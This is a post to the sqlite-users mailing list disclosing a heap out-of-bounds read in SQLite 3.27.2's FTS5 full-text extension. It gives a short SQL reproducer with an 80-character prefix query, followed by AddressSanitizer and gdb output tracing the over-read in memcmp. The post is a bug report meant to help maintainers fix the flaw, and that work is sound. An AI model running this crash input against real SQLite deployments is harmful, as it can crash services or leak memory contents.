The code:
```
CREATE VIRTUAL TABLE t1 USING fts5(content);
BEGIN;
INSERT INTO t1 (content) VALUES('AAAA');
SELECT * FROM
t1('BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB*');
END;
```
As you can see, it creates a virtual table with fts5, and run a transaction on
it, this will leads to a OOB READ. The ASAN report:
```
➜ sqlite-crashes ../sqlite-autoconf-3270200/sqlite3 < 2-oob-read.sql
=================================================================
==21007==ERROR: AddressSanitizer: heap-buffer-overflow on address
0x60d000002898 at pc 0x7f0cad16e6a3 bp 0x7ffdc88ddc80 sp 0x7ffdc88dd430
READ of size 81 at 0x60d000002898 thread T0
#0 0x7f0cad16e6a2 (/lib/x86_64-linux-gnu/libasan.so.5+0xb86a2)
#1 0x563324ca4013 in fts5HashEntrySort
/root/Documents/sqlite-autoconf-3270200/sqlite3.c:207762
#2 0x563324e685f9 in sqlite3Fts5HashScanInit
/root/Documents/sqlite-autoconf-3270200/sqlite3.c:207820
#3 0x563324e685f9 in fts5SegIterHashInit
/root/Documents/sqlite-autoconf-3270200/sqlite3.c:210321
#4 0x563324e685f9 in fts5MultiIterNew
/root/Documents/sqlite-autoconf-3270200/sqlite3.c:211270
#5 0x563324e6b380 in fts5SetupPrefixIter
/root/Documents/sqlite-autoconf-3270200/sqlite3.c:212946
#6 0x563324e6b380 in sqlite3Fts5IndexQuery
/root/Documents/sqlite-autoconf-3270200/sqlite3.c:213275
#7 0x563324eae566 in fts5ExprNearInitAll
/root/Documents/sqlite-autoconf-3270200/sqlite3.c:205261
#8 0x563324eae566 in fts5ExprNodeFirst
/root/Documents/sqlite-autoconf-3270200/sqlite3.c:205778
#9 0x563324eaed3d in sqlite3Fts5ExprFirst
/root/Documents/sqlite-autoconf-3270200/sqlite3.c:205836
#10 0x563324eaef0d in fts5CursorFirst
/root/Documents/sqlite-autoconf-3270200/sqlite3.c:215371
#11 0x563324eb0c9d in fts5FilterMethod
/root/Documents/sqlite-autoconf-3270200/sqlite3.c:215653
#12 0x563324dcd73a in sqlite3VdbeExec
/root/Documents/sqlite-autoconf-3270200/sqlite3.c:90333
#13 0x563324de9439 in sqlite3Step
/root/Documents/sqlite-autoconf-3270200/sqlite3.c:81716
#14 0x563324de9439 in sqlite3_step
/root/Documents/sqlite-autoconf-3270200/sqlite3.c:81781
#15 0x563324c1d662 in exec_prepared_stmt
/root/Documents/sqlite-autoconf-3270200/shell.c:10445
#16 0x563324c1d662 in shell_exec
/root/Documents/sqlite-autoconf-3270200/shell.c:10752
#17 0x563324c1fdf3 in runOneSqlLine
/root/Documents/sqlite-autoconf-3270200/shell.c:16106
#18 0x563324c2f466 in process_input
/root/Documents/sqlite-autoconf-3270200/shell.c:16206
#19 0x563324bfac98 in main
/root/Documents/sqlite-autoconf-3270200/shell.c:16967
#20 0x7f0cacd7009a in __libc_start_main ../csu/libc-start.c:308
#21 0x563324bfc599 in _start
(/root/Documents/sqlite-autoconf-3270200/sqlite3+0x46599)
0x60d000002898 is located 0 bytes to the right of 136-byte region
[0x60d000002810,0x60d000002898)
allocated by thread T0 here:
#0 0x7f0cad19f350 in __interceptor_malloc
(/lib/x86_64-linux-gnu/libasan.so.5+0xe9350)
#1 0x563324cdccf3 in sqlite3MemMalloc
/root/Documents/sqlite-autoconf-3270200/sqlite3.c:22837
SUMMARY: AddressSanitizer: heap-buffer-overflow
(/lib/x86_64-linux-gnu/libasan.so.5+0xb86a2)
Shadow bytes around the buggy address:
0x0c1a7fff84c0: fd fd fd fd fd fd fa fa fa fa fa fa fa fa fd fd
0x0c1a7fff84d0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c1a7fff84e0: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
0x0c1a7fff84f0: fd fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa
0x0c1a7fff8500: fa fa 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c1a7fff8510: 00 00 00[fa]fa fa fa fa fa fa fa fa fd fd fd fd
0x0c1a7fff8520: fd fd fd fd fd fd fd fd fd fd fd fd fd fa fa fa
0x0c1a7fff8530: fa fa fa fa fa fa 00 00 00 00 00 00 00 00 00 00
0x0c1a7fff8540: 00 00 00 00 00 00 00 fa fa fa fa fa fa fa fa fa
0x0c1a7fff8550: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c1a7fff8560: 00 fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==21007==ABORTING
```
View detail in gdb:
```
(gdb) r < 2-oob-read.sql
Starting program: /root/Documents/sqlite-autoconf-3270200/sqlite3 <
2-oob-read.sql
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Breakpoint 1, 0x000055555564200f in fts5HashEntrySort (pHash=0x604000002018,
pTerm=pTerm@entry=0x60d000002a88 "0", 'b' <repeats 80 times>, '\276'
<repeats 47 times>, nTerm=nTerm@entry=81, ppSorted=0x604000002030)
at sqlite3.c:207762
207762 if( pTerm==0 || 0==memcmp(fts5EntryKey(pIter), pTerm, nTerm) ){
(gdb) i r rdi
rdi 0x60d000002848 106446469474376
(gdb) i r rsi
rsi 0x60d000002a88 106446469474952
(gdb) i r rdx
rdx 0x51 81
(gdb) x/10xg $rdi
0x60d000002848: 0xbe01006161616130 0xbebebebebebebe02
0x60d000002858: 0xbebebebebebebebe 0xbebebebebebebebe
0x60d000002868: 0xbebebebebebebebe 0xbebebebebebebebe
0x60d000002878: 0xbebebebebebebebe 0xbebebebebebebebe
0x60d000002888: 0xbebebebebebebebe 0xbebebebebebebebe
(gdb) bt
#0 0x000055555564200f in fts5HashEntrySort (pHash=0x604000002018,
pTerm=pTerm@entry=0x60d000002a88 "0", 'b' <repeats 80 times>, '\276' <repeats
47 times>,
nTerm=nTerm@entry=81, ppSorted=0x604000002030) at sqlite3.c:207762
#1 0x00005555558065fa in sqlite3Fts5HashScanInit (nTerm=81,
pTerm=0x60d000002a88 "0", 'b' <repeats 80 times>, '\276' <repeats 47 times>,
p=<optimized out>)
at sqlite3.c:210321
#2 fts5SegIterHashInit (pIter=0x6130000007a8, flags=56, nTerm=81,
pTerm=0x60d000002a88 "0", 'b' <repeats 80 times>, '\276' <repeats 47 times>,
p=0x60d000000ad8) at sqlite3.c:13713
#3 fts5MultiIterNew (p=p@entry=0x60d000000ad8,
pStruct=pStruct@entry=0x603000001b78, flags=flags@entry=56,
pColset=pColset@entry=0x0,
pTerm=pTerm@entry=0x60d000002a88 "0", 'b' <repeats 80 times>, '\276'
<repeats 47 times>, nTerm=nTerm@entry=81, iLevel=<optimized out>,
nSegment=<optimized out>, ppOut=<optimized out>) at sqlite3.c:14662
#4 0x0000555555809381 in fts5SetupPrefixIter (ppIter=0x7fffffffb440,
pColset=0x0, nToken=81, pToken=<optimized out>, bDesc=0, p=0x60d000000ad8)
at sqlite3.c:212946
#5 sqlite3Fts5IndexQuery (p=0x60d000000ad8, pToken=pToken@entry=0x6080000031a8
'b' <repeats 80 times>, nToken=80, flags=flags@entry=1,
pColset=pColset@entry=0x0, ppIter=ppIter@entry=0x6130000005b8) at
sqlite3.c:16667
#6 0x000055555584c567 in fts5ExprNearInitAll (pExpr=0x6040000020d8,
pExpr=0x6040000020d8, pNode=0x606000001a68, pNode=0x606000001a68) at
sqlite3.c:205261
#7 fts5ExprNodeFirst (pExpr=pExpr@entry=0x6040000020d8,
pNode=pNode@entry=0x606000001a68) at sqlite3.c:9170
#8 0x000055555584cd3e in sqlite3Fts5ExprFirst (p=p@entry=0x6040000020d8,
pIdx=<optimized out>, iFirst=-9223372036854775808, bDesc=bDesc@entry=0)
at sqlite3.c:205836
#9 0x000055555584cf0e in fts5CursorFirst (pCsr=pCsr@entry=0x611000000408,
bDesc=bDesc@entry=0, pTab=<optimized out>) at sqlite3.c:215371
#10 0x000055555584ec9e in fts5FilterMethod (pCursor=0x611000000408,
idxNum=<optimized out>, zUnused=<optimized out>, nVal=<optimized out>,
apVal=<optimized out>) at sqlite3.c:215632
#11 0x000055555576b73b in sqlite3VdbeExec (p=<optimized out>) at sqlite3.c:90333
#12 0x000055555578743a in sqlite3Step (p=0x63400000daf8) at sqlite3.c:81716
#13 sqlite3_step (pStmt=0x63400000daf8) at sqlite3.c:16245
#14 0x00005555555bb663 in exec_prepared_stmt (pStmt=<optimized out>,
pArg=0x7fffffffd240) at shell.c:10752
#15 shell_exec (pArg=0x7fffffffd240, zSql=0x60d000000040 "SELECT * FROM t1('",
'B' <repeats 80 times>, "*');", pzErrMsg=<optimized out>) at shell.c:10752
#16 0x00005555555bddf4 in runOneSqlLine (p=0x7fffffffd240, zSql=0x60d000000040
"SELECT * FROM t1('", 'B' <repeats 80 times>, "*');", in=<optimized out>,
startline=<optimized out>) at shell.c:16106
#17 0x00005555555cd467 in process_input (p=0x7fffffffd240) at shell.c:16206
#18 0x0000555555598c99 in main (argc=1, argv=<optimized out>) at shell.c:16967
```
As you can see, arg 2 and arg 3 for `memcmp` can be controlled by user, and it
will read arbitrary length data on arg 1(which length is 5 in this case), this
may leads to an information leak.
_______________________________________________
sqlite-users mailing list
[email protected]
http://mailinglists.sqlite.org/cgi-bin/mailman/listinfo/sqlite-users